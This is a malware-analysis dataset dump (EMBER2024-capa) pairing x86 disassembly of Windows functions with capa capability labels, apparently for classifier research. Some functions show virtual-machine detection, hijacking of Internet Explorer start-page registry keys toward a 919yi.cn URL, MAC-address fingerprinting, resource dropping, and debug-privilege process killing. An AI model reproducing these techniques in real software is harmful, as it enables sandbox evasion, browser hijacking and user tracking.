joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e60
Capabilities:
Create directory
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
push esi
push ebx
sub esp, 0x10
mov esi, dword [sym.imp.msvcrt.dll_strlen]
mov dword [esp], eax
call esi
mov dword [esp + 4], 0
add eax, 1
mov dword [esp + 8], eax
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
sub esp, 0xc
test eax, eax
je 0x405f6b
mov dword [esp + 4], edi
mov ebx, eax
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_strcpy]
jmp 0x405ecc
lea eax, [ebx + eax - 1]
cmp byte [eax], 0x5c
jne 0x405ed5
mov byte [eax], 0
mov dword [esp], ebx
call esi
test eax, eax
jne 0x405ec0
mov edi, dword fs:[0x18]
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
sub esp, 8
mov esi, eax
test eax, eax
jne 0x405f38
mov eax, dword [edi + 0x34]
cmp eax, 0xb7
je 0x405f38
cmp eax, 3
jne 0x405f3d
mov dword [esp + 4], 0x5c
mov dword [esp], ebx
call dword [sym.imp.msvcrt.dll_strrchr]
test eax, eax
je 0x405f3d
mov byte [eax], 0
mov dword [ebp - 0x10], eax
mov eax, ebx
call fcn.00405e60
test eax, eax
je 0x405f3d
mov edx, dword [ebp - 0x10]
mov byte [edx], 0x5c
jmp 0x405edc
mov esi, 1
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
xor esi, esi
jmp 0x405f61

Function at 0x405fd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, edx
push ebx
sub esp, 0x20
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_CreateFileA]
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x406098
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll_strlen]
lea edx, [ebp - 0xc]
mov dword [esp], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 4], esi
mov dword [esp + 0x10], 0
mov dword [esp + 8], eax
call dword [sym.imp.kernel32.dll_WriteFile]
sub esp, 0x14
mov dword [esp], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x64
call dword [sym.imp.kernel32.dll_SetFilePointer]
sub esp, 0x10
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_SetEndOfFile]
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
sub esp, 4
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
lea esp, [ebp - 8]
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0x410700
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [esp], 1
call dword [0x413c34]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_fflush]
mov dword [esp], 1
call dword [sym.imp.kernel32.dll_ExitProcess]

Function at 0x411ba0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
mov dword [esp + 0x10], eax
lea eax, [ebp - 8]
mov dword [esp + 8], eax
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov dword [esp + 0xc], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [ebp - 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00411c60
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
push ebp
mov ebp, esp
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
pop ebp
shl edx, 5
add eax, edx
ret
Function at 0x401d60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x25c], ax
lea eax, [ebp - 0x25a]
push eax
mov dword [ebp - 0x260], 1
mov dword [ebp - 0x264], 0x12c
call fcn.0040c370
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x260]
push eax
push 0x41ea20
push str.SYSTEMControlSet001ControlClass4D36E968_E325_11CE_BFC1_08002BE103180000
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
je 0x401de3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret
mov ecx, str.VMware__Inc.
lea eax, [ebp - 0x25c]
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401e16
test dx, dx
je 0x401e12
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401e16
add eax, 4
add ecx, 4
test dx, dx
jne 0x401df0
xor eax, eax
jmp 0x401e1b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401e32
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret
mov ecx, str.Oracle_Corporation
lea eax, [ebp - 0x25c]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401e66
test dx, dx
je 0x401e62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401e66
add eax, 4
add ecx, 4
test dx, dx
jne 0x401e40
xor ecx, ecx
jmp 0x401e6b
sbb ecx, ecx
or ecx, 1
xor eax, eax
test ecx, ecx
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret
Function at 0x401e80
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417bdb
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
test edi, edi
je 0x402061
test esi, esi
je 0x402061
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x268], ax
lea eax, [ebp - 0x266]
push eax
call fcn.0040c370
add esp, 0xc
lea eax, [ebp - 0x268]
push esi
push edi
push str.jiuyisecretsid_sm_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x280]
call fcn.004032d0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
call fcn.004048c0
mov edx, eax
cmp word [edx], 0
jne 0x401f36
xor ecx, ecx
jmp 0x401f4f
mov ecx, edx
lea ebx, [ecx + 2]
jmp 0x401f40
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f40
sub ecx, ebx
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x280]
call fcn.00403430
push 0x258
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.0040c370
add esp, 0xc
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
push esi
push edi
lea eax, [ebp - 0x268]
push str.http:__www.919yi.cn__id_sm_ssM_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x268]
add esp, 0x14
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x401fa7
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
sub edi, ecx
sar edi, 1
lea eax, [ebp - 0x268]
lea edi, [edi*2 + 2]
push edi
push eax
push 1
push str.IEHome
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SOFTWAREMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SOFTWAREPoliciesMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
cmp dword [ebp - 0x26c], 8
jb 0x402061
push dword [ebp - 0x280]
call fcn.00408d0d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret
Function at 0x402080
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x425dac]
push esi
test al, 1
jne 0x4020ce
or eax, 1
mov dword [0x425dac], eax
xor eax, eax
push 0x4180d0
mov dword [0x425fec], 7
mov dword [0x425fe8], 0
mov word [0x425fd8], ax
call fcn.00408cc9
add esp, 4
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x498]
push eax
mov dword [ebp - 0x49c], 0
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x40213e
push dword [ebp - 0x49c]
call fcn.00408e6a
mov esi, eax
add esp, 4
test esi, esi
je 0x40213e
lea eax, [ebp - 0x49c]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x40213e
cmp dword [esi + 0x1a0], 6
jne 0x402138
lea eax, [esi + 0x10c]
push str.Bluetooth
push eax
call fcn.00408f00
add esp, 8
test eax, eax
je 0x402152
mov esi, dword [esi]
test esi, esi
jne 0x402117
mov eax, str.ERROR_MAC
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.0040c370
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x210]
push 0x41edc8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x2c
lea eax, [ebp - 0x210]
mov esi, 0x425fd8
push eax
mov ecx, esi
call fcn.004033e0
cmp dword [0x425fec], 8
mov ecx, dword [ebp - 4]
cmovae esi, dword [0x425fd8]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00408543
mov esp, ebp
pop ebp
ret
Function at 0x402700
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x460], ax
lea eax, [ebp - 0x45e]
push eax
mov dword [ebp - 0x474], 1
mov dword [ebp - 0x478], 0x100
call fcn.0040c370
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push eax
call fcn.0040c370
add esp, 0x18
lea eax, [ebp - 0x478]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x474]
push eax
push str.9E_PID
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x460]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x4027bc
test dx, dx
je 0x4027b8
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x4027bc
add ecx, 4
add eax, 4
test dx, dx
jne 0x402796
xor eax, eax
jmp 0x4027c1
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4028a1
lea eax, [ebp - 0x470]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x4028a1
push 0x256
push eax
mov word [ebp - 0x260], ax
lea eax, [ebp - 0x25e]
push eax
call fcn.0040c370
movzx eax, byte [ebp - 0x461]
push eax
movzx eax, byte [ebp - 0x462]
push eax
movzx eax, byte [ebp - 0x463]
push eax
movzx eax, byte [ebp - 0x464]
push eax
movzx eax, byte [ebp - 0x465]
push eax
movzx eax, byte [ebp - 0x466]
push eax
movzx eax, byte [ebp - 0x467]
push eax
movzx eax, byte [ebp - 0x468]
push eax
movzx eax, word [ebp - 0x46a]
push eax
movzx eax, word [ebp - 0x46c]
push eax
push dword [ebp - 0x470]
lea eax, [ebp - 0x260]
push str._08X_04X_04x_02X_02X_02X_02X_02X_02X_02X_02X
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea ecx, [ebp - 0x260]
add esp, 0x40
lea edx, [ecx + 2]
jmp 0x402870
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402870
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x260]
push eax
push 1
push str.9E_PID
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret
Function at 0x402940
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417ba8
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp + 8]
push eax
movzx eax, dx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp - 0x34]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [ebp - 0x30]
push ecx
push edi
push esi
push eax
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402a30
push 0x1f
push str.9eError:mReleaseRes__WriteFile
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x2c], ax
call fcn.00403430
push dword [ebp - 0x34]
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0
call fcn.00403960
add esp, 4
lea ecx, [ebp - 0x2c]
push eax
call fcn.00403330
cmp dword [ebp - 0x3c], 8
jb 0x402a1f
push dword [ebp - 0x50]
call fcn.00408d0d
add esp, 4
cmp dword [ebp - 0x18], 8
jb 0x402a30
push dword [ebp - 0x2c]
call fcn.00408d0d
add esp, 4
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret
Function at 0x402a70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417aeb
mov eax, dword fs:[0]
push eax
sub esp, 0x2ec
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
push 0x40
lea eax, [ebp - 0x2c8]
push 0
push eax
call fcn.0040c370
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x29c], ax
mov word [ebp - 0x26c], ax
lea eax, [ebp - 0x26a]
xorps xmm0, xmm0
push eax
mov dword [ebp - 0x2dc], 0
movq qword [ebp - 0x2d8], xmm0
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2cc], 0x44
mov dword [ebp - 0x2a0], 1
call fcn.0040c370
mov ecx, edi
add esp, 0x18
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402b10
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea eax, [ebp - 0x26c]
push 0x12c
push eax
call fcn.00408dac
add esp, 0x10
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x2cc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x26c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402be1
push 0x14
push str.9eError:CretateProc
lea ecx, [ebp - 0x284]
mov dword [ebp - 0x270], 7
mov dword [ebp - 0x274], eax
mov word [ebp - 0x284], ax
call fcn.00403430
push edi
lea edx, [ebp - 0x284]
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 4], 0
call fcn.00403960
add esp, 4
lea ecx, [ebp - 0x284]
push eax
call fcn.00403330
cmp dword [ebp - 0x2e0], 8
jb 0x402bca
push dword [ebp - 0x2f4]
call fcn.00408d0d
add esp, 4
cmp dword [ebp - 0x270], 8
jb 0x402be1
push dword [ebp - 0x284]
call fcn.00408d0d
add esp, 4
cmp esi, 0xfa1
je 0x402bf6
push esi
push dword [ebp - 0x2d8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret
Function at 0x402c20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417aab
mov eax, dword fs:[0]
push eax
sub esp, 0x2e8
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
push 0x40
lea eax, [ebp - 0x2c4]
push 0
push eax
call fcn.0040c370
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x298], ax
mov word [ebp - 0x268], ax
lea eax, [ebp - 0x266]
xorps xmm0, xmm0
push eax
mov dword [ebp - 0x2d8], 0
movq qword [ebp - 0x2d4], xmm0
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0x44
mov dword [ebp - 0x29c], 1
call fcn.0040c370
mov ecx, esi
add esp, 0x18
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402cc0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea eax, [ebp - 0x268]
push 0x12c
push eax
call fcn.00408dac
add esp, 0x10
lea eax, [ebp - 0x2d8]
push eax
lea eax, [ebp - 0x2c8]
push eax
push edi
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x268]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402d90
push 0x14
push str.9eError:CretateProc
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x26c], 7
mov dword [ebp - 0x270], eax
mov word [ebp - 0x280], ax
call fcn.00403430
push esi
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x2f0]
mov dword [ebp - 4], 0
call fcn.00403960
add esp, 4
lea ecx, [ebp - 0x280]
push eax
call fcn.00403330
cmp dword [ebp - 0x2dc], 8
jb 0x402d79
push dword [ebp - 0x2f0]
call fcn.00408d0d
add esp, 4
cmp dword [ebp - 0x26c], 8
jb 0x402d90
push dword [ebp - 0x280]
call fcn.00408d0d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret
Function at 0x402db0
Capabilities:
Acquire debug privileges
Enumerate processes
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402de9
push str._fProcessMonitor_:_INVALID_HANDLE_VALUE
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor esi, esi
jmp 0x402eeb
lea eax, [ebp - 0x250]
push eax
push esi
mov dword [ebp - 0x250], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ecx]
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x22c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402e47
test dx, dx
je 0x402e43
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402e47
add eax, 4
add ecx, 4
test dx, dx
jne 0x402e21
xor eax, eax
jmp 0x402e4c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402ed2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402eb6
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push 0
call ebx
test eax, eax
je 0x402eb1
mov eax, dword [ebp - 0xc]
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x248]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x250]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402e10
lea esi, [eax + 1]
cmp dword [ebp + 0x1c], 8
jb 0x402efc
push dword [ebp + 8]
call fcn.00408d0d
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408543
mov esp, ebp
pop ebp
ret
Function at 0x4048c0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417c1b
mov eax, dword fs:[0]
push eax
sub esp, 0x4b4
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push 0x3ff
lea eax, [ebp - 0x413]
push 0
push eax
mov byte [ebp - 0x414], 0
call fcn.0040c370
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404912
sub ecx, edx
sar ecx, 1
push ecx
push esi
push 0x400
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00409915
add esp, 0x14
cmp byte [ebp - 0x414], 0
mov byte [ebp - 0x43c], 0
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x4a4], 0x67452301
mov dword [ebp - 0x4a0], 0xefcdab89
mov dword [ebp - 0x49c], 0x98badcfe
mov dword [ebp - 0x498], 0x10325476
mov dword [ebp - 0x4a8], 0xf
mov dword [ebp - 0x4ac], 0
mov byte [ebp - 0x4bc], 0
jne 0x4049a9
xor ecx, ecx
jmp 0x4049bb
lea ecx, [ebp - 0x414]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4049b2
sub ecx, edx
push ecx
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x4bc]
call fcn.00401730
cmp dword [ebp - 0x4a8], 0x10
push dword [ebp - 0x4ac]
lea eax, [ebp - 0x4bc]
cmovae eax, dword [ebp - 0x4bc]
push eax
lea ecx, [ebp - 0x4a4]
call fcn.00403de0
cmp dword [ebp - 0x4a8], 0x10
jb 0x404a0b
push dword [ebp - 0x4bc]
call fcn.00408d0d
add esp, 4
lea eax, [ebp - 0x4bc]
push eax
lea ecx, [ebp - 0x4a4]
call fcn.00404880
mov edx, eax
mov dword [ebp - 4], 0
cmp dword [edx + 0x14], 0x10
jb 0x404a2e
mov edx, dword [edx]
mov dword [ebp - 0x41c], 0xf
mov dword [ebp - 0x420], 0
mov byte [ebp - 0x430], 0
cmp byte [edx], 0
jne 0x404a52
xor ecx, ecx
jmp 0x404a60
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404a57
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x430]
call fcn.00401730
cmp dword [ebp - 0x4a8], 0x10
jb 0x404a84
push dword [ebp - 0x4bc]
call fcn.00408d0d
add esp, 4
mov edx, dword [ebp - 0x41c]
mov esi, dword [ebp - 0x430]
lea ecx, [ebp - 0x430]
cmp edx, 0x10
cmovae ecx, esi
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404aa0
sub ecx, edi
push ecx
cmp edx, 0x10
lea eax, [ebp - 0x430]
cmovae eax, esi
push eax
push 0x400
lea eax, [ebp - 0x418]
push 0x424b58
push eax
call fcn.00409b6e
add esp, 0x14
cmp dword [ebp - 0x41c], 0x10
jb 0x404ae7
push dword [ebp - 0x430]
call fcn.00408d0d
add esp, 4
mov eax, 0x424b58
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408543
mov esp, ebp
pop ebp
ret 4